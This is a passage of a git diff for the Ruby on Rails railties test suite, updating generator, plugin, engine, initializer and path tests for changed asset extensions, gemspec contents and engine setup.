assert_no_match(/config.active_record.mass_assignment_sanitizer = :strict/, file) + end + end + end + protected def action(*args, &block) diff --git a/railties/test/generators/assets_generator_test.rb b/railties/test/generators/assets_generator_test.rb index 375632e5bc..d6338bd3da 100644 --- a/railties/test/generators/assets_generator_test.rb +++ b/railties/test/generators/assets_generator_test.rb @@ -8,19 +8,13 @@ class AssetsGeneratorTest < Rails::Generators::TestCase def test_assets run_generator - assert_file "app/assets/javascripts/posts.js.coffee" - assert_file "app/assets/stylesheets/posts.css.scss" + assert_file "app/assets/javascripts/posts.js" + assert_file "app/assets/stylesheets/posts.css" end def test_skipping_assets - content = run_generator ["posts", "--no-stylesheets", "--no-javascripts"] - assert_no_file "app/assets/javascripts/posts.js.coffee" - assert_no_file "app/assets/stylesheets/posts.css.scss" - end - - def test_vanilla_assets - run_generator ["posts", "--no-javascript-engine", "--no-stylesheet-engine"] - assert_file "app/assets/javascripts/posts.js" - assert_file "app/assets/stylesheets/posts.css" + run_generator ["posts", "--no-stylesheets", "--no-javascripts"] + assert_no_file "app/assets/javascripts/posts.js" + assert_no_file "app/assets/stylesheets/posts.css" end end diff --git a/railties/test/generators/controller_generator_test.rb b/railties/test/generators/controller_generator_test.rb index 46533b70be..c3fa9ebb03 100644 --- a/railties/test/generators/controller_generator_test.rb +++ b/railties/test/generators/controller_generator_test.rb @@ -39,8 +39,8 @@ class ControllerGeneratorTest < Rails::Generators::TestCase def test_invokes_assets run_generator - assert_file "app/assets/javascripts/account.js.coffee" - assert_file "app/assets/stylesheets/account.css.scss" + assert_file "app/assets/javascripts/account.js" + assert_file "app/assets/stylesheets/account.css" end def test_invokes_default_test_framework diff --git a/railties/test/generators/generated_attribute_test.rb b/railties/test/generators/generated_attribute_test.rb index 0d2e624f44..a85829085c 100644 --- a/railties/test/generators/generated_attribute_test.rb +++ b/railties/test/generators/generated_attribute_test.rb @@ -68,6 +68,11 @@ class GeneratedAttributeTest < Rails::Generators::TestCase assert_field_default_value :string, 'MyString' end + def test_default_value_for_type + att = Rails::Generators::GeneratedAttribute.new("type", "string") + assert_equal("", att.default) + end + def test_default_value_is_text assert_field_default_value :text, 'MyText' end @@ -113,15 +118,8 @@ class GeneratedAttributeTest < Rails::Generators::TestCase end end - def test_nil_type_raises_exception - assert_raise Thor::Error do - create_generated_attribute(nil, 'title') - end - end - - def test_missing_type_raises_exception - assert_raise Thor::Error do - create_generated_attribute('', 'title') - end + def test_blank_type_defaults_to_string_raises_exception + assert_equal :string, create_generated_attribute(nil, 'title').type + assert_equal :string, create_generated_attribute("", 'title').type end end diff --git a/railties/test/generators/generators_test_helper.rb b/railties/test/generators/generators_test_helper.rb index 1b9a8fd8a7..7fdd54fc30 100644 --- a/railties/test/generators/generators_test_helper.rb +++ b/railties/test/generators/generators_test_helper.rb @@ -12,7 +12,7 @@ Rails.application.config.generators.templates = [File.join(Rails.root, "lib", "t # Call configure to load the settings from # Rails.application.config.generators to Rails::Generators -Rails::Generators.configure! +Rails.application.load_generators require 'active_record' require 'action_dispatch' diff --git a/railties/test/generators/model_generator_test.rb b/railties/test/generators/model_generator_test.rb index 8c5ba9926b..1b0cb425c6 100644 --- a/railties/test/generators/model_generator_test.rb +++ b/railties/test/generators/model_generator_test.rb @@ -12,9 +12,15 @@ class ModelGeneratorTest < Rails::Generators::TestCase end def test_model_with_missing_attribute_type - content = capture(:stderr) { run_generator ["post", "title:string", "body"] } - assert_match(/Missing type for attribute 'body'/, content) - assert_match(/Example: 'body:string' where string is the type/, content) + run_generator ["post", "title", "body:text", "author"] + + assert_migration "db/migrate/create_posts.rb" do |m| + assert_method :change, m do |up| + assert_match(/t\.string :title/, up) + assert_match(/t\.text :body/, up) + assert_match(/t\.string :author/, up) + end + end end def test_invokes_default_orm diff --git a/railties/test/generators/namespaced_generators_test.rb b/railties/test/generators/namespaced_generators_test.rb index 6f8a9b4280..dd1e4bdac1 100644 --- a/railties/test/generators/namespaced_generators_test.rb +++ b/railties/test/generators/namespaced_generators_test.rb @@ -7,15 +7,7 @@ require 'rails/generators/rails/scaffold/scaffold_generator' class NamespacedGeneratorTestCase < Rails::Generators::TestCase def setup - TestApp::Application.isolate_namespace(TestApp) - end - - def teardown - if TestApp.respond_to?(:_railtie) - TestApp.singleton_class.send(:undef_method, :_railtie) - TestApp.singleton_class.send(:undef_method, :table_name_prefix) - TestApp::Application.isolated = false - end + Rails::Generators.namespace = TestApp end end @@ -252,7 +244,7 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase assert_file "test/unit/helpers/test_app/product_lines_helper_test.rb" # Stylesheets - assert_file "app/assets/stylesheets/scaffold.css.scss" + assert_file "app/assets/stylesheets/scaffold.css" end def test_scaffold_on_revoke @@ -283,7 +275,7 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase assert_no_file "test/unit/helpers/test_app/product_lines_helper_test.rb" # Stylesheets (should not be removed) - assert_file "app/assets/stylesheets/scaffold.css.scss" + assert_file "app/assets/stylesheets/scaffold.css" end def test_scaffold_with_namespace_on_invoke @@ -324,7 +316,7 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase assert_file "test/unit/helpers/test_app/admin/roles_helper_test.rb" # Stylesheets - assert_file "app/assets/stylesheets/scaffold.css.scss" + assert_file "app/assets/stylesheets/scaffold.css" end def test_scaffold_with_namespace_on_revoke @@ -356,6 +348,6 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase assert_no_file "test/unit/helpers/test_app/admin/roles_helper_test.rb" # Stylesheets (should not be removed) - assert_file "app/assets/stylesheets/scaffold.css.scss" + assert_file "app/assets/stylesheets/scaffold.css" end end diff --git a/railties/test/generators/plugin_generator_test.rb b/railties/test/generators/plugin_generator_test.rb deleted file mode 100644 index 5c0774ddbd..0000000000 --- a/railties/test/generators/plugin_generator_test.rb +++ /dev/null @@ -1,71 +0,0 @@ -require 'generators/generators_test_helper' -require 'rails/generators/rails/plugin/plugin_generator' - -class PluginGeneratorTest < Rails::Generators::TestCase - include GeneratorsTestHelper - arguments %w(plugin_fu) - - def test_plugin_skeleton_is_created - silence(:stderr) { run_generator } - year = Date.today.year - - %w( - vendor/plugins - vendor/plugins/plugin_fu - vendor/plugins/plugin_fu/init.rb - vendor/plugins/plugin_fu/install.rb - vendor/plugins/plugin_fu/uninstall.rb - vendor/plugins/plugin_fu/lib - vendor/plugins/plugin_fu/lib/plugin_fu.rb - vendor/plugins/plugin_fu/Rakefile - ).each{ |path| assert_file path } - - %w( - vendor/plugins/plugin_fu/README - ).each{ |path| assert_file path, /PluginFu/ } - - %w( - vendor/plugins/plugin_fu/README - vendor/plugins/plugin_fu/MIT-LICENSE - ).each{ |path| assert_file path, /#{year}/ } - end - - def test_check_class_collision - content = capture(:stderr){ run_generator ["object"] } - assert_match(/The name 'Object' is either already used in your application or reserved/, content) - end - - def test_invokes_default_test_framework - silence(:stderr) { run_generator } - assert_file "vendor/plugins/plugin_fu/test/plugin_fu_test.rb", /class PluginFuTest < ActiveSupport::TestCase/ - assert_file "vendor/plugins/plugin_fu/test/test_helper.rb" - end - - def test_logs_if_the_test_framework_cannot_be_found - content = nil - silence(:stderr) { content = run_generator ["plugin_fu", "--test-framework=rspec"] } - assert_match(/rspec \[not found\]/, content) - end - - def test_creates_tasks_if_required - silence(:stderr) { run_generator ["plugin_fu", "--tasks"] } - assert_file "vendor/plugins/plugin_fu/lib/tasks/plugin_fu_tasks.rake" - end - - def test_creates_generator_if_required - silence(:stderr) { run_generator ["plugin_fu", "--generator"] } - assert_file "vendor/plugins/plugin_fu/lib/generators/templates" - assert_file "vendor/plugins/plugin_fu/lib/generators/plugin_fu_generator.rb", - /class PluginFuGenerator < Rails::Generators::NamedBase/ - end - - def test_plugin_generator_on_revoke - silence(:stderr) { run_generator } - run_generator ["plugin_fu"], :behavior => :revoke - end - - def test_deprecation - output = capture(:stderr) { run_generator } - assert_match(/Plugin generator is deprecated, please use 'rails plugin new' command to generate plugin structure./, output) - end -end diff --git a/railties/test/generators/plugin_new_generator_test.rb b/railties/test/generators/plugin_new_generator_test.rb index 297ac5d238..9183945619 100644 --- a/railties/test/generators/plugin_new_generator_test.rb +++ b/railties/test/generators/plugin_new_generator_test.rb @@ -7,12 +7,13 @@ DEFAULT_PLUGIN_FILES = %w( .gitignore Gemfile Rakefile + README.rdoc bukkits.gemspec MIT-LICENSE lib lib/bukkits.rb lib/tasks/bukkits_tasks.rake - script/rails + lib/bukkits/version.rb test/bukkits_test.rb test/test_helper.rb test/dummy @@ -26,10 +27,6 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase # brings setup, teardown, and some tests include SharedGeneratorTests - def default_files - ::DEFAULT_PLUGIN_FILES - end - def test_invalid_plugin_name_raises_an_error content = capture(:stderr){ run_generator [File.join(destination_root, "43-things")] } assert_equal "Invalid plugin name 43-things. Please give a name which does not start with numbers.\n", content @@ -67,16 +64,16 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_no_file "test" end - def test_database_entry_is_assed_by_default_in_full_mode + def test_database_entry_is_generated_for_sqlite3_by_default_in_full_mode run_generator([destination_root, "--full"]) assert_file "test/dummy/config/database.yml", /sqlite/ - assert_file "Gemfile", /^gem\s+["']sqlite3["']$/ + assert_file "bukkits.gemspec", /sqlite3/ end def test_config_another_database run_generator([destination_root, "-d", "mysql", "--full"]) assert_file "test/dummy/config/database.yml", /mysql/ - assert_file "Gemfile", /^gem\s+["']mysql2["']$/ + assert_file "bukkits.gemspec", /mysql/ end def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given @@ -102,19 +99,41 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase def test_skipping_javascripts_without_mountable_option run_generator - assert_no_file "app/assets/javascripts/application.js" + assert_no_file "app/assets/javascripts/bukkits/application.js" assert_no_file "vendor/assets/javascripts/jquery.js" assert_no_file "vendor/assets/javascripts/jquery_ujs.js" end def test_javascripts_generation run_generator [destination_root, "--mountable"] - assert_file "app/assets/javascripts/application.js" + assert_file "app/assets/javascripts/bukkits/application.js" + end + + def test_jquery_is_the_default_javascript_library + run_generator [destination_root, "--mountable"] + assert_file "app/assets/javascripts/bukkits/application.js" do |contents| + assert_match %r{^//= require jquery}, contents + assert_match %r{^//= require jquery_ujs}, contents + end + assert_file 'bukkits.gemspec' do |contents| + assert_match(/jquery-rails/, contents) + end + end + + def test_other_javascript_libraries + run_generator [destination_root, "--mountable", '-j', 'prototype'] + assert_file "app/assets/javascripts/bukkits/application.js" do |contents| + assert_match %r{^//= require prototype}, contents + assert_match %r{^//= require prototype_ujs}, contents + end + assert_file 'bukkits.gemspec' do |contents| + assert_match(/prototype-rails/, contents) + end end def test_skip_javascripts run_generator [destination_root, "--skip-javascript", "--mountable"] - assert_no_file "app/assets/javascripts/application.js" + assert_no_file "app/assets/javascripts/bukkits/application.js" assert_no_file "vendor/assets/javascripts/jquery.js" assert_no_file "vendor/assets/javascripts/jquery_ujs.js" end @@ -138,18 +157,28 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_match(/1 tests, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test`) end + def test_ensure_that_migration_tasks_work_with_mountable_option + run_generator [destination_root, "--mountable"] + FileUtils.cd destination_root + quietly { system 'bundle install' } + `bundle exec rake db:migrate` + assert_equal 0, $?.exitstatus + end + def test_creating_engine_in_full_mode run_generator [destination_root, "--full"] - assert_file "app/assets/javascripts" - assert_file "app/assets/stylesheets" - assert_file "app/assets/images" + assert_file "app/assets/javascripts/bukkits" + assert_file "app/assets/stylesheets/bukkits" + assert_file "app/assets/images/bukkits" assert_file "app/models" assert_file "app/controllers" assert_file "app/views" assert_file "app/helpers" + assert_file "app/mailers" assert_file "config/routes.rb", /Rails.application.routes.draw do/ - assert_file "lib/bukkits/engine.rb", /module Bukkits\n class Engine < Rails::Engine\n end\nend/ + assert_file "lib/bukkits/engine.rb", /module Bukkits\n class Engine < ::Rails::Engine\n end\nend/ assert_file "lib/bukkits.rb", /require "bukkits\/engine"/ + assert_file "script/rails" end def test_being_quiet_while_creating_dummy_application @@ -158,15 +187,40 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase def test_create_mountable_application_with_mountable_option run_generator [destination_root, "--mountable"] - assert_file "app/assets/javascripts" - assert_file "app/assets/stylesheets" - assert_file "app/assets/images" + assert_file "app/assets/javascripts/bukkits" + assert_file "app/assets/stylesheets/bukkits" + assert_file "app/assets/images/bukkits" assert_file "config/routes.rb", /Bukkits::Engine.routes.draw do/ assert_file "lib/bukkits/engine.rb", /isolate_namespace Bukkits/ assert_file "test/dummy/config/routes.rb", /mount Bukkits::Engine => "\/bukkits"/ assert_file "app/controllers/bukkits/application_controller.rb", /module Bukkits\n class ApplicationController < ActionController::Base/ assert_file "app/helpers/bukkits/application_helper.rb", /module Bukkits\n module ApplicationHelper/ - assert_file "app/views/layouts/bukkits/application.html.erb", /<title>Bukkits<\/title>/ + assert_file "app/views/layouts/bukkits/application.html.erb" do |contents| + assert_match "<title>Bukkits</title>", contents + assert_match(/stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents) + assert_match(/javascript_include_tag\s+['"]bukkits\/application['"]/, contents) + end + end + + def test_creating_gemspec + run_generator + assert_file "bukkits.gemspec", /s.name\s+= "bukkits"/ + assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*"\]/ + assert_file "bukkits.gemspec", /s.test_files = Dir\["test\/\*\*\/\*"\]/ + assert_file "bukkits.gemspec", /s.version\s+ = Bukkits::VERSION/ + end + + def test_usage_of_engine_commands + run_generator [destination_root, "--full"] + assert_file "script/rails", /ENGINE_PATH = File.expand_path\('..\/..\/lib\/bukkits\/engine', __FILE__\)/ + assert_file "script/rails", /ENGINE_ROOT = File.expand_path\('..\/..', __FILE__\)/ + assert_file "script/rails", /require 'rails\/all'/ + assert_file "script/rails", /require 'rails\/engine\/commands'/ + end + + def test_shebang + run_generator [destination_root, "--full"] + assert_file "script/rails", /#!\/usr\/bin\/env ruby/ end def test_passing_dummy_path_as_a_parameter @@ -176,6 +230,21 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_no_file "test/dummy" end + def test_creating_dummy_without_tests_but_with_dummy_path + run_generator [destination_root, "--dummy_path", "spec/dummy", "--skip-test-unit"] + assert_file "spec/dummy" + assert_file "spec/dummy/config/application.rb" + assert_no_file "test" + end + + def test_skipping_test_unit + run_generator [destination_root, "--skip-test-unit"] + assert_no_file "test" + assert_file "bukkits.gemspec" do |contents| + assert_no_match(/s.test_files = Dir\["test\/\*\*\/\*"\]/, contents) + end + end + def test_skipping_gemspec run_generator [destination_root, "--skip-gemspec"] assert_no_file "bukkits.gemspec" @@ -187,6 +256,10 @@ protected silence(:stdout){ generator.send(*args, &block) } end +protected + def default_files + ::DEFAULT_PLUGIN_FILES + end end class CustomPluginGeneratorTest < Rails::Generators::TestCase @@ -204,7 +277,6 @@ class CustomPluginGeneratorTest < Rails::Generators::TestCase assert_file 'spec/dummy' assert_file 'Rakefile', /task :default => :spec/ assert_file 'Rakefile', /# spec tasks in rakefile/ - assert_file 'script/rails', %r{spec/dummy} end protected diff --git a/railties/test/generators/scaffold_generator_test.rb b/railties/test/generators/scaffold_generator_test.rb index 4b07f8bcbe..2db8090621 100644 --- a/railties/test/generators/scaffold_generator_test.rb +++ b/railties/test/generators/scaffold_generator_test.rb @@ -80,9 +80,9 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase assert_file "test/unit/helpers/product_lines_helper_test.rb" # Assets - assert_file "app/assets/stylesheets/scaffold.css.scss" - assert_file "app/assets/javascripts/product_lines.js.coffee" - assert_file "app/assets/stylesheets/product_lines.css.scss" + assert_file "app/assets/stylesheets/scaffold.css" + assert_file "app/assets/javascripts/product_lines.js" + assert_file "app/assets/stylesheets/product_lines.css" end def test_scaffold_on_revoke @@ -113,9 +113,9 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase assert_no_file "test/unit/helpers/product_lines_helper_test.rb" # Assets - assert_file "app/assets/stylesheets/scaffold.css.scss", /&:visited/ - assert_no_file "app/assets/javascripts/product_lines.js.coffee" - assert_no_file "app/assets/stylesheets/product_lines.css.scss" + assert_file "app/assets/stylesheets/scaffold.css", /:visited/ + assert_no_file "app/assets/javascripts/product_lines.js" + assert_no_file "app/assets/stylesheets/product_lines.css" end def test_scaffold_with_namespace_on_invoke @@ -189,9 +189,9 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase assert_file "test/unit/helpers/admin/roles_helper_test.rb" # Assets - assert_file "app/assets/stylesheets/scaffold.css.scss", /&:visited/ - assert_file "app/assets/javascripts/admin/roles.js.coffee" - assert_file "app/assets/stylesheets/admin/roles.css.scss" + assert_file "app/assets/stylesheets/scaffold.css", /:visited/ + assert_file "app/assets/javascripts/admin/roles.js" + assert_file "app/assets/stylesheets/admin/roles.css" end def test_scaffold_with_namespace_on_revoke @@ -223,9 +223,9 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase assert_no_file "test/unit/helpers/admin/roles_helper_test.rb" # Assets - assert_file "app/assets/stylesheets/scaffold.css.scss" - assert_no_file "app/assets/javascripts/admin/roles.js.coffee" - assert_no_file "app/assets/stylesheets/admin/roles.css.scss" + assert_file "app/assets/stylesheets/scaffold.css" + assert_no_file "app/assets/javascripts/admin/roles.js" + assert_no_file "app/assets/stylesheets/admin/roles.css" end def test_scaffold_generator_on_revoke_does_not_mutilate_legacy_map_parameter @@ -245,35 +245,34 @@ class ScaffoldGeneratorTest < Rails::Generators::TestCase def test_scaffold_generator_no_assets run_generator [ "posts", "--no-assets" ] - assert_file "app/assets/stylesheets/scaffold.css.scss" - assert_no_file "app/assets/javascripts/posts.js.coffee" - assert_no_file "app/assets/stylesheets/posts.css.scss" + assert_file "app/assets/stylesheets/scaffold.css" + assert_no_file "app/assets/javascripts/posts.js" + assert_no_file "app/assets/stylesheets/posts.css" end def test_scaffold_generator_no_stylesheets run_generator [ "posts", "--no-stylesheets" ] - assert_no_file "app/assets/stylesheets/scaffold.css.scss" - assert_file "app/assets/javascripts/posts.js.coffee" - assert_no_file "app/assets/stylesheets/posts.css.scss" + assert_no_file "app/assets/stylesheets/scaffold.css" + assert_file "app/assets/javascripts/posts.js" + assert_no_file "app/assets/stylesheets/posts.css" end def test_scaffold_generator_no_javascripts run_generator [ "posts", "--no-javascripts" ] - assert_file "app/assets/stylesheets/scaffold.css.scss" - assert_no_file "app/assets/javascripts/posts.js.coffee" - assert_file "app/assets/stylesheets/posts.css.scss" - end - - def test_scaffold_generator_no_negines - run_generator [ "posts", "--no-javascript-engine", "--no-stylesheet-engine" ] assert_file "app/assets/stylesheets/scaffold.css" - assert_file "app/assets/javascripts/posts.js" + assert_no_file "app/assets/javascripts/posts.js" assert_file "app/assets/stylesheets/posts.css" end def test_scaffold_generator_outputs_error_message_on_missing_attribute_type - content = capture(:stderr) { run_generator ["post", "title:string", "body"]} - assert_match(/Missing type for attribute 'body'/, content) - assert_match(/Example: 'body:string' where string is the type/, content) + run_generator ["post", "title", "body:text", "author"] + + assert_migration "db/migrate/create_posts.rb" do |m| + assert_method :change, m do |up| + assert_match(/t\.string :title/, up) + assert_match(/t\.text :body/, up) + assert_match(/t\.string :author/, up) + end + end end end diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb index be9aef8a41..1534f0d828 100644 --- a/railties/test/generators/shared_generator_tests.rb +++ b/railties/test/generators/shared_generator_tests.rb @@ -67,12 +67,12 @@ module SharedGeneratorTests end def test_shebang_is_added_to_rails_file - run_generator [destination_root, "--ruby", "foo/bar/baz"] + run_generator [destination_root, "--ruby", "foo/bar/baz", "--full"] assert_file "script/rails", /#!foo\/bar\/baz/ end def test_shebang_when_is_the_same_as_default_use_env - run_generator [destination_root, "--ruby", Thor::Util.ruby_command] + run_generator [destination_root, "--ruby", Thor::Util.ruby_command, "--full"] assert_file "script/rails", /#!\/usr\/bin\/env/ end @@ -191,11 +191,11 @@ module SharedCustomGeneratorTests end def test_builder_option_with_http - path = "http://gist.github.com/103208.txt" + url = "http://gist.github.com/103208.txt" template = "class #{builder_class}; end" template.instance_eval "def read; self; end" # Make the string respond to read - generator([destination_root], :builder => path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template) + generator([destination_root], :builder => url).expects(:open).with(url, 'Accept' => 'application/x-thor-template').returns(template) quietly { generator.invoke_all } default_files.each{ |path| assert_no_file(path) } diff --git a/railties/test/generators_test.rb b/railties/test/generators_test.rb index 1264ac7764..5f9ee220dc 100644 --- a/railties/test/generators_test.rb +++ b/railties/test/generators_test.rb @@ -88,12 +88,6 @@ class GeneratorsTest < Rails::Generators::TestCase assert Rails::Generators.find_by_namespace(:model) end - def test_find_by_namespace_show_warning_if_generator_cant_be_loaded - output = capture(:stderr) { Rails::Generators.find_by_namespace(:wrong) } - assert_match(/\[WARNING\] Could not load generator/, output) - assert_match(/Rails 2\.x generator/, output) - end - def test_invoke_with_nested_namespaces model_generator = mock('ModelGenerator') do expects(:start).with(["Account"], {}) @@ -185,13 +179,6 @@ class GeneratorsTest < Rails::Generators::TestCase Rails::Generators.subclasses.delete(WithOptionsGenerator) end - def test_load_generators_from_railties - Rails::Generators::ModelGenerator.expects(:start).with(["Account"], {}) - Rails::Generators.send(:remove_instance_variable, :@generators_from_railties) - Rails.application.expects(:load_generators) - Rails::Generators.invoke("model", ["Account"]) - end - def test_rails_root_templates template = File.join(Rails.root, "lib", "templates", "active_record", "model", "model.rb") @@ -214,4 +201,10 @@ class GeneratorsTest < Rails::Generators::TestCase mspec = Rails::Generators.find_by_namespace :fixjour assert mspec.source_paths.include?(File.join(Rails.root, "lib", "templates", "fixjour")) end + + def test_usage_with_embedded_ruby + require File.expand_path("fixtures/lib/generators/usage_template/usage_template_generator", File.dirname(__FILE__)) + output = capture(:stdout) { Rails::Generators.invoke :usage_template, ['--help'] } + assert_match /:: 2 ::/, output + end end diff --git a/railties/test/initializable_test.rb b/railties/test/initializable_test.rb index 72c35879c5..c84c7f204c 100644 --- a/railties/test/initializable_test.rb +++ b/railties/test/initializable_test.rb @@ -61,7 +61,7 @@ module InitializableTests class Instance include Rails::Initializable - initializer :one do + initializer :one, :group => :assets do $arr << 1 end @@ -69,7 +69,7 @@ module InitializableTests $arr << 2 end - initializer :three do + initializer :three, :group => :all do $arr << 3 end @@ -209,14 +209,21 @@ module InitializableTests $arr = [] instance = Instance.new instance.run_initializers - assert_equal [1, 2, 3, 4], $arr + assert_equal [2, 3, 4], $arr + end + + test "running locals with groups" do + $arr = [] + instance = Instance.new + instance.run_initializers(:assets) + assert_equal [1, 3], $arr end end class WithArgsTest < ActiveSupport::TestCase test "running initializers with args" do $with_arg = nil - WithArgs.new.run_initializers('foo') + WithArgs.new.run_initializers(:default, 'foo') assert_equal 'foo', $with_arg end end diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb index f2261540ca..06b658e7bd 100644 --- a/railties/test/isolation/abstract_unit.rb +++ b/railties/test/isolation/abstract_unit.rb @@ -8,9 +8,8 @@ # Rails booted up. require 'fileutils' -# TODO: Remove rubygems when possible -require 'rubygems' require 'test/unit' +require 'rubygems' # TODO: Remove setting this magic constant RAILS_FRAMEWORK_ROOT = File.expand_path("#{File.dirname(__FILE__)}/../../..") @@ -92,6 +91,9 @@ module TestHelpers module Generation # Build an application by invoking the generator and going through the whole stack. def build_app(options = {}) + @prev_rails_env = ENV['RAILS_ENV'] + ENV['RAILS_ENV'] = 'development' + FileUtils.rm_rf(app_path) FileUtils.cp_r(tmp_path('app_template'), app_path) @@ -116,6 +118,10 @@ module TestHelpers add_to_config 'config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"; config.session_store :cookie_store, :key => "_myapp_session"; config.active_support.deprecation = :log' end + def teardown_app + ENV['RAILS_ENV'] = @prev_rails_env if @prev_rails_env + end + # Make a very basic app, without creating the whole directory structure. # This is faster and simpler than the method above. def make_basic_app @@ -218,6 +224,15 @@ module TestHelpers end end + def add_to_env_config(env, str) + environment = File.read("#{app_path}/config/environments/#{env}.rb") + if environment =~ /(\n\s*end\s*)\Z/ + File.open("#{app_path}/config/environments/#{env}.rb", 'w') do |f| + f.puts $` + "\n#{str}\n" + $1 + end + end + end + def remove_from_config(str) file = "#{app_path}/config/application.rb" contents = File.read(file) @@ -232,6 +247,10 @@ module TestHelpers end end + def remove_file(path) + FileUtils.rm_rf "#{app_path}/#{path}" + end + def controller(name, contents) app_file("app/controllers/#{name}_controller.rb", contents) end @@ -272,7 +291,7 @@ Module.new do require_environment = "-r #{environment}" end - `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/bin/rails new #{tmp_path('app_template')}` + `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails new #{tmp_path('app_template')}` File.open("#{tmp_path}/app_template/config/boot.rb", 'w') do |f| if require_environment f.puts "Dir.chdir('#{File.dirname(environment)}') do" @@ -281,4 +300,4 @@ Module.new do end f.puts "require 'rails/all'" end -end +end unless defined?(RAILS_ISOLATED_ENGINE) diff --git a/railties/test/paths_test.rb b/railties/test/paths_test.rb index 6e4e3446b3..c0f3887263 100644 --- a/railties/test/paths_test.rb +++ b/railties/test/paths_test.rb @@ -227,57 +227,4 @@ class PathsTest < ActiveSupport::TestCase assert @root["app"].autoload? assert_equal ["/app"], @root.autoload_paths end - - # Deprecated API tests - - test "reading a root level path with assignment" do - @root.add "app" - assert_deprecated do - assert_equal ["/foo/bar/app"], @root.app.to_a - end - end - - test "creating a root level path with assignment" do - assert_deprecated do - @root.app = "/foo/bar" - end - assert_equal ["/foo/bar"], @root["app"].to_a - end - - test "creating a root level path without assignment" do - assert_deprecated do - @root.app "/foo/bar" - end - assert_equal ["/foo/bar"], @root["app"].to_a - end - - test "reading a nested level path with assignment" do - @root.add "app" - @root.add "app/model" - assert_deprecated do - assert_equal ["/foo/bar/app/model"], @root.app.model.to_a - end - end - - test "creating a nested level path with assignment" do - @root.add "app" - assert_deprecated do - @root.app.model = "/foo/bar" - end - assert_equal ["/foo/bar"], @root["app/model"].to_a - end - - test "creating a nested level path without assignment" do - @root.add "app" - assert_deprecated do - @root.app.model "/foo/bar" - end - assert_equal ["/foo/bar"], @root["app/model"].to_a - end - - test "trying to access a path that does not exist raises NoMethodError" do - assert_deprecated do - assert_raises(NoMethodError) { @root.app } - end - end end diff --git a/railties/test/rails_info_controller_test.rb b/railties/test/rails_info_controller_test.rb index 9d194f41a6..8a9363fb80 100644 --- a/railties/test/rails_info_controller_test.rb +++ b/railties/test/rails_info_controller_test.rb @@ -1,5 +1,4 @@ require 'abstract_unit' -require 'action_controller' module ActionController class Base diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb index b5b21f9ebe..22dbcf9644 100644 --- a/railties/test/railties/engine_test.rb +++ b/railties/test/railties/engine_test.rb @@ -15,7 +15,7 @@ module RailtiesTest @plugin = engine "bukkits" do |plugin| plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine railtie_name "bukkits" end @@ -25,6 +25,10 @@ module RailtiesTest end end + def teardown + teardown_app + end + test "Rails::Engine itself does not respond to config" do boot_rails assert !Rails::Engine.respond_to?(:config) @@ -32,7 +36,7 @@ module RailtiesTest test "initializers are executed after application configuration initializers" do @plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine initializer "dummy_initializer" do end @@ -73,7 +77,7 @@ module RailtiesTest add_to_config("config.action_dispatch.show_exceptions = false") @plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine endpoint lambda { |env| [200, {'Content-Type' => 'text/html'}, ['Hello World']] } config.middleware.use ::RailtiesTest::EngineTest::Upcaser @@ -123,7 +127,7 @@ module RailtiesTest test "it provides routes as default endpoint" do @plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine end end @@ -149,7 +153,7 @@ module RailtiesTest test "engine can load its own plugins" do @plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine end end @@ -166,7 +170,7 @@ module RailtiesTest test "engine does not load plugins that already exists in application" do @plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine end end @@ -189,7 +193,7 @@ module RailtiesTest test "it loads its environment file" do @plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine end end @@ -208,7 +212,7 @@ module RailtiesTest test "it passes router in env" do @plugin.write "lib/bukkits.rb", <<-RUBY - class Bukkits + module Bukkits class Engine < ::Rails::Engine endpoint lambda { |env| [200, {'Content-Type' => 'text/html'}, 'hello'] } end @@ -396,7 +400,7 @@ module RailtiesTest boot_rails get("/bukkits/posts/new") - assert_match /name="post\[title\]"/, last_response.body + assert_match(/name="post\[title\]"/, last_response.body) end test "isolated engine should set correct route module prefix for nested namespace" do @@ -451,12 +455,18 @@ module RailtiesTest Rails.application.load_seed assert Rails.application.config.app_seeds_loaded - assert_raise(NoMethodError) do Bukkits::Engine.config.bukkits_seeds_loaded end + assert_raise(NoMethodError) { Bukkits::Engine.config.bukkits_seeds_loaded } Bukkits::Engine.load_seed assert Bukkits::Engine.config.bukkits_seeds_loaded end + test "skips nonexistent seed data" do + FileUtils.rm "#{app_path}/db/seeds.rb" + boot_rails + assert_nil Rails.application.load_seed + end + test "using namespace more than once on one module should not overwrite _railtie method" do @plugin.write "lib/bukkits.rb", <<-RUBY module AppTemplate diff --git 